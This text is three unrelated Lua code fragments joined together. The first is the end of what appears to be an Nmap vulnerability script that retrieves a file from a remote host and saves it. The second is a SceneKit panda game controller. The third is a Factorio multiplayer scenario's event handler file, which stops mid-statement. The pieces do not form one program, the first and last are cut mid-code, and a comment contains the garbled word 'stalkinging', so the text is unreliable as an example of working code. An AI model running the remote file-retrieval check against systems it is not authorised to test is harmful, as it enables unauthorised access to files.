vuln.extra_info, rfile, filewrite) else vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err) end end elseif response.status==500 then vuln.state = vulns.STATE.LIKELY_VULN stdnse.debug1("[Error] File not found:%s", rfile) stdnse.debug1("response : %s", response.body) vuln.extra_info = string.format("%s not found.\n", rfile) end return vuln_report:make_output(vuln) end
----------------------------------------------------------------------- -- Declare shortcuts and import required modules ----------------------------------------------------------------------- local SCNScene = objc.SCNScene local SCNNode = objc.SCNNode local SCNAction = objc.SCNAction local SCNAudioPLayer = objc.SCNAudioPlayer local SCNAudioSource = objc.SCNAudioSource local SCNTransaction = objc.SCNTransaction local CGPoint = struct.CGPoint local SCNVector3 = struct.SCNVector3 local SCNVector4 = struct.SCNVector4 local CaMediaTimingFunction = require "QuartzCore.CAMediaTimingFunction" local CaMediaTiming = require "QuartzCore.CAMediaTiming" local CACurrentMediaTime = require "QuartzCore.CABase".CurrentMediaTime local ScnSceneSource = require "SceneKit.SCNSceneSource" local pi = math.pi local min = math.min local max = math.max local abs = math.abs local PandaCharacter = require "PandaCharacter" ----------------------------------------------------------------------- -- Create a GameViewController class extension ----------------------------------------------------------------------- local GameViewController = class.extendClass(objc.GameViewController) ----------------------------------------------------------------------- -- Methods for dynamic update (see module MonitorControllerClass) ----------------------------------------------------------------------- function GameViewController:configureView() -- This method will be called from viewDidLoad(), or when this module's code has changed -- Put here the code configuring the controller's view if self.pandaCharacter == nil then self.pandaCharacter = PandaCharacter:new() end self:getResource ("GameScnAssets.level", "scn", "updateLevelScene") self:getResource ("Particle systems.collect", "scnp", "updateCollectFlowerParticleSystem") self.gameView.delegate = self end function GameViewController:refreshView() -- This method will be executed when the module is reloaded. self:configureView() --[[ -- Display statistics on the game view self.gameView.showsStatistics = true]] --[[ -- Return the panda to the starting point local startingPointNode = self.gameView.scene.rootNode:childNodeWithName_recursively ( 'startingPoint', true) self.pandaCharacter.node.transform = startingPointNode.transform]] end function GameViewController:viewControllerStateData() -- Return internal state information for the current View Controller, used to clone it -- into a replacement View Controller, in case of storyboard change. -- State data can be returned as a Lua table or as a function with a single parameter: the replacement view controller. local gameStateData = self:gameStateData() if gameStateData then return { savedGameStateData = gameStateData } end end GameViewController.storyboardIdentifier = "GameViewController" function GameViewController:gameStateData() local gameStateData local levelScene = self.gameView.scene if levelScene ~= nil then gameStateData = { } -- Camera position if self.cameraXHandle then gameStateData.cameraXAngle = self.cameraXHandle.rotation.w * ((self.cameraXHandle.rotation.x > 0) and 1 or -1) end if self.cameraYHandle then gameStateData.cameraYAngle = self.cameraYHandle.rotation.w * ((self.cameraYHandle.rotation.y > 0) and 1 or -1) end end return gameStateData end function GameViewController:updateLevelScene (scene --[[@type objc.SCNScene]], sceneUrl --[[@type objc.NSURL]]) if not (scene and scene:isKindOfClass(SCNScene)) and (sceneUrl ~= nil) then -- the 'scene' parameter is not a SCNSCene: unarchive the scene from the provided URL scene = SCNScene:sceneWithURL_options_error (sceneUrl, nil) end if scene and scene:isKindOfClass(SCNScene) then -- Save relevant state info before replacing the current scene (i.e. all changes done to the current scene geometry or structure) local gameStateData = self:gameStateData() if gameStateData == nil then -- Game state data may have been stored as ViewController state data gameStateData = self.savedGameStateData end -- Setup the level scene local gameView --[[@type objc.GameView]] = self.gameView gameView.scene = scene gameView.playing = true gameView.loops = true -- Various setups self:setupSceneCollisionNodes(scene, gameStateData) self:setupCameras(scene, gameStateData) self:setupSounds(scene, gameStateData) -- Add the panda character to the scene scene.rootNode:addChildNode(self.pandaCharacter.node) self.pandaCharacter:refreshWalkingAnimation() if gameStateData == nil then -- place the character at the starting point local startingPointNode = scene.rootNode:childNodeWithName_recursively ( 'startingPoint', true) self.pandaCharacter.node.transform = startingPointNode.transform end end end function GameViewController:updateCollectFlowerParticleSystem (_, particleSystemUrl) local particleSystem -- Get the particle system from the keyed archive at the specified URL, and fix the (relative) particle image path if particleSystemUrl ~= nil then particleSystem = objc.NSKeyedUnarchiver:unarchiveObjectWithFile (particleSystemUrl.path) if particleSystem:isKindOfClass(objc.SCNParticleSystem) then local unarchivedParticleImage = particleSystem.particleImage if unarchivedParticleImage:isKindOfClass(objc.NSURL) then local particleImagePath = unarchivedParticleImage.relativePath if not particleImagePath.isAbsolutePath then particleSystem.particleImage = particleSystemUrl.URLByDeletingLastPathComponent:URLByAppendingPathComponent(particleImagePath) else -- absolute path local mainBundleResourcePath = objc.NSBundle.mainBundle.resourceURL.path if particleImagePath:hasPrefix (mainBundleResourcePath) then -- The SCNParticleSystem unarchiver transforms relative paths in the archive into absolute URLs in the application's resource folder -- if the corresponding file exists. If a resource image exists at this relative path, point to this path to support dynamic -- update of the particle image. local relativeImagePath = particleImagePath:substringFromIndex(mainBundleResourcePath.length + 1) -- No traing '/' in a NSURL path local particleImageResourceUrl = particleSystemUrl.URLByDeletingLastPathComponent:URLByAppendingPathComponent(relativeImagePath) if objc.NSFileManager.defaultManager:fileExistsAtPath(particleImageResourceUrl.path) then particleSystem.particleImage = particleImageResourceUrl end end end end else particleSystem = nil end end if particleSystem then particleSystem.loops = false self.collectFlowerParticleSystem = particleSystem end end ----------------------------------------------------------------------- -- Managing the camera ----------------------------------------------------------------------- local cameraAltitude = 1.0 local cameraDistance = 9 local cameraDefaultAngleX = - pi / 30 local cameraDefaultAngleY = pi * 5 / 4 local cameraMoveDuration = 3.0 function GameViewController:panCameraWithDx_dy (panX, panY) if not self.lockCamera then local panScale = 0.005 -- Make sure the camera handles are correctly reset (because automatic camera animations may have put the "rotation" in a weird state. SCNTransaction:begin() SCNTransaction:setAnimationDuration (0) do self.cameraYHandle:removeAllActions() self.cameraXHandle:removeAllActions() if self.cameraYHandle.rotation.y < 0 then self.cameraYHandle.rotation = SCNVector4(0.0, 1.0, 0.0, -self.cameraYHandle.rotation.w) end if self.cameraXHandle.rotation.x < 0 then self.cameraXHandle.rotation = SCNVector4(1.0, 0.0, 0.0, -self.cameraXHandle.rotation.w) end end SCNTransaction:commit() -- Update the camera position with some inertia. SCNTransaction:begin() SCNTransaction:setAnimationDuration (0.30) -- SCNTransaction:setAnimationTimingFunction (objc.CAMediaTimingFunction:functionWithName(CaMediaTimingFunction.EaseInEaseOut)) do self.cameraYHandle.rotation = SCNVector4(0.0, 1.0, 0.0, self.cameraYHandle.rotation.y * (self.cameraYHandle.rotation.w - panX * panScale)) self.cameraXHandle.rotation = SCNVector4(1.0, 0.0, 0.0, max(-pi / 2, min (0.15, self.cameraXHandle.rotation.w + panY * panScale))) end SCNTransaction:commit() end end function GameViewController:updateCameraForCurrentGroundNode (groundNode) if not self.gameIsComplete then if self.currentGroundNode == nil then self.currentGroundNode = groundNode elseif groundNode ~= self.currentGroundNode then self.currentGroundNode = groundNode local cameraPositionForNode = self.automaticCameraPositions[groundNode] if type(cameraPositionForNode) == 'function' then cameraPositionForNode = cameraPositionForNode(self.pandaCharacter.node) end if cameraPositionForNode then local cameraYAction = SCNAction:rotateToX_y_z_duration_shortestUnitArc (0, cameraPositionForNode.y, 0, cameraMoveDuration, true) local cameraXAction = SCNAction:rotateToX_y_z_duration_shortestUnitArc (cameraPositionForNode.x, 0, 0, cameraMoveDuration, true) self.cameraYHandle:runAction (cameraYAction) self.cameraXHandle:runAction (cameraXAction) end end end end ----------------------------------------------------------------------- -- Moving the character ----------------------------------------------------------------------- function GameViewController:characterDirection () local controllerDirectionPoint = self:controllerDirection() local characterDirection = SCNVector3(controllerDirectionPoint.x, 0.0, controllerDirectionPoint.y) if (characterDirection.x ~= 0.0) or (characterDirection.z ~= 0.0) then local pointOfView = self.gameView.pointOfView if pointOfView then -- convert the characterDirection considered in the coordinate system of the camera to the world coordinates space characterDirection = pointOfView:normalizedDirectionInWorldXZPlane(characterDirection) end end return characterDirection end ----------------------------------------------------------------------- -- SCNSceneRendererDelegate Protocol ----------------------------------------------------------------------- GameViewController:publishObjcProtocols ("SCNSceneRendererDelegate") function GameViewController:renderer_updateAtTime (renderer, time) local character = self.pandaCharacter -- Add state fields in the character for obstacle detection character.replacementPosition = nil character.maxPenetrationDistance = 0.0 -- Evaluate the character direction local controllerDirectionPoint = self:controllerDirection() local characterDirection = SCNVector3(controllerDirectionPoint.x, 0.0, controllerDirectionPoint.y) if (characterDirection.x ~= 0.0) or (characterDirection.z ~= 0.0) then local pointOfView = self.gameView.pointOfView if pointOfView then -- convert the characterDirection considered in the coordinate system of the camera to the world coordinates space characterDirection = pointOfView:normalizedDirectionInWorldXZPlane(characterDirection) end end -- Make the character walk local groundNode = character:walkInScene_withDirection_atTime(self.gameView.scene, characterDirection, time) if groundNode then self:updateCameraForCurrentGroundNode (groundNode) end -- Flames are static physics bodies, but they are moved by an action - So we need to tell the physics engine that the transforms did change. for _, flameNode in pairs(self.flameNodes) do flameNode.physicsBody:resetTransform() end end function GameViewController:renderer_didSimulatePhysicsAtTime (renderer, time) -- If the character did hit a wall, its position may need to be adjusted local character = self.pandaCharacter if character.replacementPosition then character.node.position = character.replacementPosition -- character.isWalking = false end end ----------------------------------------------------------------------- -- Setup methods ----------------------------------------------------------------------- function GameViewController:setupCameras(scene --[[@type objc.SCNScene]], gameStateData) local rootNode = scene.rootNode --[[ We create 2 nodes to manipulate the camera: The first node "cameraYHandle" is at the center of the world (0, ALTITUDE, 0) and will only rotate on the Y axis The second node "cameraXHandle" is a child of the first one and will ony rotate on the X axis The camera node is a child of the "cameraXHandle" at a specific distance (DISTANCE). So rotating cameraYHandle and cameraXHandle will update the camera position and the camera will always look at the center of the scene. ]] local pov = self.gameView.pointOfView pov.eulerAngles = SCNVector3(0.0, 0.0, 0.0) pov.position = SCNVector3(0.0, 0.0, cameraDistance) local cameraXHandle = SCNNode:new() cameraXHandle.rotation = SCNVector4(1.0, 0.0, 0.0, gameStateData and gameStateData.cameraXAngle or cameraDefaultAngleX) cameraXHandle:addChildNode (pov) self.cameraXHandle = cameraXHandle if self.cameraYHandle then -- make sure we don't have more that one camera handle in the scene self.cameraYHandle:removeFromParentNode() end local cameraYHandle = SCNNode:new() cameraYHandle.position = SCNVector3(0.0, cameraAltitude, 0.0) cameraYHandle.rotation = SCNVector4(0.0, 1.0, 0.0, gameStateData and gameStateData.cameraYAngle or cameraDefaultAngleY) cameraYHandle:addChildNode (cameraXHandle) self.cameraYHandle = cameraYHandle rootNode:addChildNode(cameraYHandle) -- Automatic camera positions for identified ground nodes self.automaticCameraPositions = { [rootNode:childNodeWithName_recursively("bloc04_collisionMesh_02", true)] = CGPoint(-0.188683, 4.719608), [rootNode:childNodeWithName_recursively("bloc03_collisionMesh", true)] = CGPoint(-0.435909, 6.297167), [rootNode:childNodeWithName_recursively("bloc07_collisionMesh", true)] = CGPoint(-0.333663, 7.868592), [rootNode:childNodeWithName_recursively("bloc08_collisionMesh", true)] = CGPoint(-0.575011, 8.739003), [rootNode:childNodeWithName_recursively("bloc06_collisionMesh", true)] = CGPoint(-1.095519, 9.425292), [rootNode:childNodeWithName_recursively("bloc05_collisionMesh_02", true)] = function (characterNode) if characterNode.position.x < 2.5 then return CGPoint(-0.098175, 3.926991) else return CGPoint(-0.072051, 8.202264) end end, [rootNode:childNodeWithName_recursively("bloc05_collisionMesh_01", true)] = CGPoint(-0.072051, 8.202264), } local isGameStarting = (gameStateData == nil) or self.lockCamera or ((abs(gameStateData.cameraXAngle - cameraDefaultAngleX) < 0.0001) and (abs(gameStateData.cameraYAngle -cameraDefaultAngleY) < 0.0001)) if isGameStarting then -- Animate camera on launch and prevent the user from manipulating the camera until the end of the animation. SCNTransaction:begin() SCNTransaction:setAnimationDuration (0.25) SCNTransaction:setCompletionBlock (function() self.lockCamera = false end) self.lockCamera = true -- Create 2 additive animations that converge to 0 -- That way at the end of the animation, the camera will be at its default position. local cameraYAnimation = objc.CABasicAnimation:animationWithKeyPath("rotation.w") cameraYAnimation.fromValue = math.pi * 2 - cameraYHandle.rotation.w cameraYAnimation.toValue = 0.0 cameraYAnimation.additive = true cameraYAnimation.beginTime = CACurrentMediaTime() + 3.0 cameraYAnimation.fillMode = CaMediaTiming.FillModeBoth cameraYAnimation.duration = 5.0 cameraYAnimation.timingFunction = objc.CAMediaTimingFunction:functionWithName(CaMediaTimingFunction.EaseInEaseOut) cameraYHandle:addAnimation_forKey (cameraYAnimation, nil) local cameraXAnimation = cameraYAnimation:copy() cameraXAnimation.fromValue = - math.pi / 2 + cameraXHandle.rotation.w cameraXHandle:addAnimation_forKey (cameraXAnimation, nil) SCNTransaction:commit() end end function GameViewController:setupSounds (scene --[[@type objc.SCNScene]], gameStateData) local function ambientAudioSourceWithName_volume (soundFileName, volume) local audioSource = SCNAudioSource:audioSourceNamed("sounds/" .. soundFileName) audioSource.volume = volume audioSource.positional = false audioSource.shouldStream = true audioSource.loops = true -- audioSource:load() return audioSource end local function audioSourceWithName_volume (soundFileName, volume, looping) local audioSource = SCNAudioSource:audioSourceNamed("sounds/" .. soundFileName) audioSource.volume = volume audioSource.positional = true audioSource.shouldStream = false audioSource.loops = false audioSource:load() return audioSource end local rootNode = self.gameView.scene.rootNode rootNode:removeAllAudioPlayers() rootNode:addAudioPlayer (SCNAudioPLayer:newWithSource (ambientAudioSourceWithName_volume ("music.m4a", 0.25))) rootNode:addAudioPlayer (SCNAudioPLayer:newWithSource (ambientAudioSourceWithName_volume ("wind.m4a", 0.25))) self.collectPearlSound = audioSourceWithName_volume ("collect1.mp3", 0.5) self.collectFlowerSound = audioSourceWithName_volume ("collect2.mp3", 1.0) end ----------------------------------------------------------------------- -- Load the class extension that handles collisions and treasures ----------------------------------------------------------------------- require "GameViewController-Collisions" ----------------------------------------------------------------------- -- return the class defined by this module ----------------------------------------------------------------------- return GameViewController
local console = { name = 'Console', admin = true, print = function(...) rcon.print(...) end, color = {1, 1, 1, 1} } local color = require("utils/color_presets") -- control.lua -- Mar 2019 -- Oarc's Separated Spawn Scenario -- -- I wanted to create a scenario that allows you to spawn in separate locations -- From there, I ended up adding a bunch of other minor/major features -- -- Credit: -- Tags - Taken from WOGs scenario -- Rocket Silo - Taken from Frontier as an idea -- -- Feel free to re-use anything you want. It would be nice to give me credit -- if you can. -- To keep the scenario more manageable (for myself) I have done the stalkinging: -- 1. Keep all event calls in control.lua (here) -- 2. Put all config options in config.lua and provided an example-config.lua file too. -- 3. Put other stuff into their own files where possible. -- 4. Put all other files into lib folder -- 5. Provided an examples folder for example/recommended map gen settings -- Generic Utility Includes require("lib/oarc_utils") market = require("addons/market") tools = require("addons/tools") groups = require("addons/groups") local find_patch = require("addons/find_patch") local deathmarkers = require("addons/death-marker") local flying_tags = require("flying_tags") require("addons/bonuses_gui") -- Other soft-mod type features. require("lib/frontier_silo") require("lib/tag") require("lib/game_opts") require("lib/player_list") require("lib/rocket_launch") require("lib/admin_commands") require("lib/regrowth_map") require("lib/shared_chests") require("lib/notepad") require("lib/map_features") require("lib/oarc_buy") require("lib/auto_decon_miners") -- For Philip. I currently do not use this and need to add proper support for -- commands like this in the future. -- require("lib/rgcommand") -- require("lib/helper_commands") -- Main Configuration File require("config") -- Save all config settings to global table. require("lib/oarc_global_cfg.lua") -- Scenario Specific Includes require("lib/separate_spawns") require("lib/separate_spawns_guis") require("lib/oarc_enemies") require("lib/oarc_gui_tabs") -- compatibility with mods require("compat/factoriomaps") -- Create a new surface so we can modify map settings at the start. GAME_SURFACE_NAME = "oarc" commands.add_command("trigger-map-cleanup", "Force immediate removal of all expired chunks (unused chunk removal mod)", RegrowthForceRemoveChunksCmd) -------------------------------------------------------------------------------- -- ALL EVENT HANLDERS ARE HERE IN ONE PLACE! -------------------------------------------------------------------------------- ---------------------------------------- -- On Init - only runs once the first -- time the game starts ---------------------------------------- script.on_init(function(event) -- FIRST InitOarcConfig() -- Regrowth (always init so we can enable during play.) RegrowthInit() -- Create new game surface CreateGameSurface() -- MUST be before other stuff, but after surface creation. InitSpawnGlobalsAndForces() market.init() groups.init() -- Frontier Silo Area Generation if (global.ocfg.frontier_rocket_silo and not global.ocfg.enable_magic_factories) then SpawnSilosAndGenerateSiloAreas() end -- Everyone do the shuffle. Helps avoid always starting at the same location. -- Needs to be done after the silo spawning. if (global.ocfg.enable_vanilla_spawns) then global.vanillaSpawns = FYShuffle(global.vanillaSpawns) log("Vanilla spawns:") log(serpent.block(global.vanillaSpawns)) end Compat.handle_factoriomaps() if (global.ocfg.enable_coin_shop and global.ocfg.enable_chest_sharing) then SharedChestInitItems() end if (global.ocfg.enable_coin_shop and global.ocfg.enable_magic_factories) then MagicFactoriesInit() end OarcMapFeatureInitGlobalCounters() OarcAutoDeconOnInit() -- Display starting point text as a display of dominance. RenderPermanentGroundText(game.surfaces[GAME_SURFACE_NAME], {x = -32, y = -30}, 37, "Spawn", {0.9, 0.3, 0.3, 0.8}) end) script.on_load(function() Compat.handle_factoriomaps() end) ---------------------------------------- -- Rocket launch event -- Used for end game win conditions / unlocking late game stuff ---------------------------------------- script.on_event(defines.events.on_rocket_launched, function(event) RocketLaunchEvent(event) end) ---------------------------------------- -- Surface Generation ---------------------------------------- ---------------------------------------- -- Chunk Generation ---------------------------------------- script.on_event(defines.events.on_chunk_generated, function(event) if (event.surface.name ~= GAME_SURFACE_NAME) then return end if global.ocfg.enable_regrowth then RegrowthChunkGenerate(event) end if global.ocfg.enable_undecorator then UndecorateOnChunkGenerate(event) end SeparateSpawnsGenerateChunk(event) CreateHoldingPen(event.surface, event.area) end) ---------------------------------------- -- Gui Click ---------------------------------------- script.on_event(defines.events.on_gui_click, function(event) -- Don't interfere with other mod related stuff. if (event.element.get_mod() ~= nil) then return end if global.ocfg.enable_tags then TagGuiClick(event) end WelcomeTextGuiClick(event) SpawnOptsGuiClick(event) SpawnCtrlGuiClick(event) SharedSpwnOptsGuiClick(event) BuddySpawnOptsGuiClick(event) BuddySpawnWaitMenuClick(event) BuddySpawnRequestMenuClick(event) SharedSpawnJoinWaitMenuClick(event) ClickOarcGuiButton(event) market.teleClick(event) if global.ocfg.enable_coin_shop then ClickOarcStoreButton(event) end GameOptionsGuiClick(event) end) script.on_event(defines.events.on_gui_checked_state_changed, function(event) SpawnOptsRadioSelect(event) SpawnCtrlGuiOptionsSelect(event) end) script.on_event(defines.events.on_gui_selected_tab_changed, function(event) TabChangeOarcGui(event) if global.ocfg.enable_coin_shop then TabChangeOarcStore(event) end end) ---------------------------------------- -- Player Events ---------------------------------------- script.on_event(defines.events.on_player_changed_position, function(event) local player = game.players[event.player_index] market.teleGui(player) end) script.on_event(defines.events.on_pre_player_died, function(event) deathmarkers.playerDied(event) end) script.on_event(defines.events.on_pre_player_mined_item, function(event) deathmarkers.onMined(event) end) script.on_event(defines.events.on_player_joined_game, function(event) PlayerJoinedMessages(event) ServerWriteFile("player_events", game.players[event.player_index].name .. " joined the game." .. "\n") local player = game.players[event.player_index] if (global.oarc_players[player.name] == nil) then global.oarc_players[player.name] = {} end if not global.ocore.markets.player_markets then global.ocore.markets.player_markets = {} end if not global.ocore.markets.player_markets[player.name] then global.ocore.markets.player_markets[player.name] = {} end if not global.ocore.markets.teles then global.ocore.markets.teles = {} end if not global.ocore.groups.player_groups then global.ocore.groups.player_groups = {} end if not global.ocore.groups.player_groups[player.name] then global.ocore.groups.player_groups[player.name] = {} end if not global.ocore.markets.player_markets[player.name].stats then global.ocore.markets.player_markets[player.name].stats = { ["gun-speed"] = { ["bullet"] = {["lvl"] = 1, ["multiplier"] = 0}, -- ["shotgun-shell"] = {["lvl"] = 1, ["multiplier"] = 0}, -- ["landmine"] = {["lvl"] = 1, ["multiplier"] = 0}, -- ["grenade"] = {["lvl"] = 1, ["multiplier"] = 0}, -- ["cannon-shell"] = {["lvl"] = 1, ["multiplier"] = 0}, ["flamethrower"] = {["lvl"] = 1, ["multiplier"] = 0}, ["rocket"] = {["lvl"] = 1, ["multiplier"] = 0}, ["laser"] = {["lvl"] = 1, ["multiplier"] = 0} }, ["ammo-damage"] = { ["bullet"] = {["lvl"] = 1, ["multiplier"] = 0}, -- ["shotgun-shell"] = {["lvl"] = 1, ["multiplier"] = 0}, -- ["landmine"] = {["lvl"] = 1, ["multiplier"] = 0}, -- ["grenade"] = {["lvl"] = 1, ["multiplier"] = 0}, -- ["cannon-shell"] = {["lvl"] = 1, ["multiplier"] = 0}, ["flamethrower"] = {["lvl"] = 1, ["multiplier"] = 0}, ["rocket"] = {["lvl"] = 1, ["multiplier"] = 0}, ["laser"] = {["lvl"] = 1, ["multiplier"] = 0} }, ["turret-attack"] = { ["gun-turret"] = {["lvl"] = 1, ["multiplier"] = 0}, ["flamethrower-turret"] = {["lvl"] = 1, ["multiplier"] = 0}, ["laser-turret"] = {["lvl"] = 1, ["multiplier"] = 0} }, ["character-health"] = { ["current"] = {["lvl"] = 1, ["multiplier"] = 0} }, ["mining-productivity"] = { ["current"] = {["lvl"] = 1, ["multiplier"] = 0} }, ["sell-speed"] = {["current"] = {["lvl"] = 1, ["multiplier"] = 10}} } end deathmarkers.init(event) end) script.on_event(defines.events.on_player_created, function(event) local player = game.players[event.player_index] -- Move the player to the game surface immediately. player.teleport({x = 0, y = 0}, GAME_SURFACE_NAME) market.help() if global.ocfg.enable_long_reach then GivePlayerLongReach(player) end if player.admin and DEBUG_MODE then local newSpawn = {x = 0, y = 0} newSpawn = FindUngeneratedCoordinates(global.ocfg.far_dist_start, global.ocfg.far_dist_end, player.surface) if ((newSpawn.x == 0) and (newSpawn.y == 0)) then newSpawn = FindMapEdge(GetRandomVector(), player.surface) end ChangePlayerSpawn(player, newSpawn) QueuePlayerForDelayedSpawn(player.name, newSpawn, false, global.ocfg.enable_vanilla_spawns) player.force = game.create_force(player.name) return end SeparateSpawnsPlayerCreated(event.player_index, true) InitOarcGuiTabs(player) if global.ocfg.enable_coin_shop then InitOarcStoreGuiTabs(player) end deathmarkers.init(event) end) script.on_event(defines.events.on_player_respawned, function(event) SeparateSpawnsPlayerRespawned(event) PlayerRespawnItems(event) if global.ocfg.enable_long_reach then GivePlayerLongReach(game.players[event.player_index]) end deathmarkers.playerRespawned(event) end) script.on_event(defines.events.on_player_left_game, function(event) ServerWriteFile("player_events", game.players[event.player_index].name .. " left the game." .. "\n") local player = game.players[event.player_index] -- If players leave early, say goodbye. if (player and (player.online_time < (global.ocfg.minimum_online_time * TICKS_PER_MINUTE))) then log("Player left early: " .. player.name) SendBroadcastMsg(player.name .. "'s base was marked for immediate clean up because they left within " .. global.ocfg.minimum_online_time .. " minutes of joining.") RemoveOrResetPlayer(player, true, true, true, true) end end) ---------------------------------------- -- On tick events. Stuff that needs to happen at regular intervals. -- Delayed events, delayed spawns, ... ---------------------------------------- script.on_event(defines.events.on_tick, function(event) if global.ocfg.enable_regrowth then RegrowthOnTick() RegrowthForceRemovalOnTick() end if game.tick % 60 == 0 then tools.FlyingTime(game.tick) end DelayedSpawnOnTick() UpdatePlayerBuffsOnTick(game.tick) ReportPlayerBuffsOnTick() market.on_tick() groups.on_tick() flying_tags.update() tools.stockUp() if global.ocfg.enable_chest_sharing then SharedChestsOnTick() end if (global.ocfg.enable_chest_sharing and global.ocfg.enable_magic_factories) then MagicFactoriesOnTick() end TimeoutSpeechBubblesOnTick() FadeoutRenderOnTick() if global.ocfg.enable_miner_decon then OarcAutoDeconOnTick() end RechargePlayersOnTick() end) script.on_event(defines.events.on_sector_scanned, function(event) if global.ocfg.enable_regrowth then RegrowthSectorScan(event) end end) ---------------------------------------- -- Various on "built" events ---------------------------------------- script.on_event(defines.events.on_built_entity, function(event) if global.ocfg.enable_autofill then Autofill(event) end if global.ocfg.enable_regrowth then if (event.created_entity.surface.name ~= GAME_SURFACE_NAME) then return end RegrowthMarkAreaSafeGivenTilePos(event.created_entity.position, 2, false) end if global.ocfg.enable_anti_grief then SetItemBlueprintTimeToLive(event) end if global.ocfg.frontier_rocket_silo then BuildSiloAttempt(event) end end) script.on_event(defines.events.on_robot_built_entity, function(event) if global.ocfg.enable_regrowth then if (event.created_entity.surface.name ~= GAME_SURFACE_NAME) then return end RegrowthMarkAreaSafeGivenTilePos(event.created_entity.position, 2, false) end if global.ocfg.frontier_rocket_silo then BuildSiloAttempt(event) end end) script.on_event(defines.events.on_player_built_tile, function(event) if global.ocfg.enable_regrowth then if (game.surfaces[event.surface_index].name ~= GAME_SURFACE_NAME) then return end for k, v in pairs(event.tiles) do RegrowthMarkAreaSafeGivenTilePos(v.position, 2, false) end end end) ---------------------------------------- -- On script_raised_built. This should help catch mods that -- place items that don't count as player_built and robot_built. -- Specifically FARL. ---------------------------------------- script.on_event(defines.events.script_raised_built, function(event) if global.ocfg.enable_regrowth then if (event.entity.surface.name ~= GAME_SURFACE_NAME) then return end RegrowthMarkAreaSafeGivenTilePos(event.entity.position, 2, false) end end) ---------------------------------------- -- Shared chat, so you don't have to type /s -- But you do lose your player colors across forces. ---------------------------------------- script.on_event(defines.events.on_console_chat, function(event) if (event.player_index) then ServerWriteFile("server_chat", game.players[event.player_index].name .. ": " .. event.message .. "\n") end if (global.ocfg.enable_shared_chat) then if (event.player_index ~= nil) then ShareChatBetweenForces(game.players[event.player_index], event.message) end end end) script.on_event(defines.events.on_console_command, function(e) local caller = (e.player_index and game.players[e.player_index]) or console if caller.admin then if (e.command == 'kick') or (e.command == 'ban') then local player = game.players[e.parameters] end end end) ---------------------------------------- -- On Research Finished -- This is where you can permanently remove researched techs ---------------------------------------- script.on_event(defines.events.on_research_finished, function(event) -- Never allows players to build rocket-silos in "frontier" mode. if global.ocfg.frontier_rocket_silo and not global.ocfg.frontier_allow_build then RemoveRecipe(event.research.force, "rocket-silo") end if global.ocfg.lock_goodies_rocket_launch and (not global.ocore.satellite_sent or not global.ocore.satellite_sent[event.research.force.name]) then for _, v in ipairs(LOCKED_RECIPES) do RemoveRecipe(event.research.force, v.r) end end if global.ocfg.enable_loaders then EnableLoaders(event) end end) ---------------------------------------- -- On Entity Spawned and On Biter Base Built -- This is where I modify biter spawning based on location and other factors. ---------------------------------------- script.on_event(defines.events.on_entity_spawned, function(event) if (global.ocfg.modified_enemy_spawning) then ModifyEnemySpawnsNearPlayerStartingAreas(event) end end) script.on_event(defines.events.on_biter_base_built, function(event) if (global.ocfg.modified_enemy_spawning) then ModifyEnemySpawnsNearPlayerStartingAreas(event) end end) ---------------------------------------- -- On unit group finished gathering -- This is where I remove biter waves on offline players ---------------------------------------- script.on_event(defines.events.on_unit_group_finished_gathering, function(event) if (global.ocfg.enable_offline_protect) then OarcModifyEnemyGroup(event.group) end end) ---------------------------------------- -- On Corpse Timed Out -- Save player's stuff so they don't lose it if they can't get to the corpse fast enough. ---------------------------------------- script.on_event(defines.events.on_character_corpse_expired, function(event) DropGravestoneChestFromCorpse(event.corpse) deathmarkers.corpseExpired(event) end) ---------------------------------------- -- On Gui Text Change -- For capturing text entry. ---------------------------------------- script.on_event(defines.events.on_gui_text_changed, function(event) NotepadOnGuiTextChange(event) end) ---------------------------------------- -- On Gui Closed -- For capturing player escaping custom GUI so we can close it using ESC key. ---------------------------------------- script.on_event(defines.events.on_gui_closed, function(event) OarcGuiOnGuiClosedEvent(event) if global.ocfg.enable_coin_shop then OarcStoreOnGuiClosedEvent(event) end WelcomeTextGuiClosedEvent(event) end) ---------------------------------------- -- On enemies killed -- For coin generation and stuff ---------------------------------------- script.on_event(defines.events.on_entity_damaged, function(event) local entity = event.entity local cause = event.cause local damage = math.floor(event.original_damage_amount) local health = math.floor(entity.health) local health_percentage = entity.get_health_ratio() local text_color = {r = 1 - health_percentage, g = health_percentage, b = 0} -- Gets the location of the text local size = entity.get_radius() if size < 1 then size = 1 end local r = (math.random() - 0.5) * size * 0.75 local p = entity.position local position = {x = p.x + r, y = p.y - size} local message if entity.name == 'character' then message = {'damage-popup.player-health', health} elseif entity.name ~= 'character' and cause and cause.name == 'character' then message = {'damage-popup.player-damage', damage} end -- Outputs the message as floating text if message then tools.floating_text(entity.surface, position, message, text_color) end end) script.on_event(defines.events.on_post_entity_died, function(event) if (game.surfaces[event.surface_index].name ~= GAME_SURFACE_NAME) then return end if global.ocfg.enable_coin_shop then CoinsFromEnemiesOnPostEntityDied(event) end end, { {filter = "type", type = "unit"}, {filter = "type", type = "unit-spawner"}, {filter = "type", type = "turret"} }) ---------------------------------------- -- Scripted auto decon for miners... ---------------------------------------- script.on_event(defines.events.on_resource_depleted, function(event) if global.ocfg.enable_miner_decon then OarcAutoDeconOnResourceDepleted(event) end end) -------------------------------------------- script.on_event(defines.events.on_market_item_purchased, function(event) local player = game.players[event.player_index] local player_market = global.ocore.markets.player_markets[player.name] local count = event.count local mults = {10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0.75, 0.5, 0.25} if player_market.market and player_market.market.valid then local offers = player_market.market.get_market_items() -- get all offers local offer = offers[event.offer_index] -- get this offer if event.offer_index == 13 or event.offer_index == 14 then -- if this offer is in the 'upgrades' section local price = 0 for _, single_price in pairs(offer.price) do price = price + single_price.amount end if count > 1 then local refund = 0 refund = price * (count - 1) player.insert {name = "coin", count = refund} end --[[ { price = {{"coin", 1000}}, offer = {type = "gun-speed", ammo_category = "bullet", modifier = 0.01} } ]] for i, item in ipairs(offers) do if i == event.offer_index then if i <= 14 then if i <= 13 then if i <= 8 then local stat = player_market.stats[item.offer.type][item.offer .ammo_category] stat.multiplier = stat.multiplier + item.offer.modifier stat.lvl = stat.lvl + 1 elseif (i > 8) and (i <= 11) then local stat = player_market.stats[item.offer.type][item.offer .turret_id] stat.multiplier = stat.multiplier + item.offer.modifier stat.lvl = stat.lvl + 1 elseif (i == 12) then local stat = player_market.stats["character-health"] .current stat.multiplier = stat.multiplier + item.offer.modifier player.character_health_bonus = player.character_health_bonus - item.offer.modifier * (count - 1) stat.lvl = stat.lvl + 1 elseif (i == 13) then local stat = 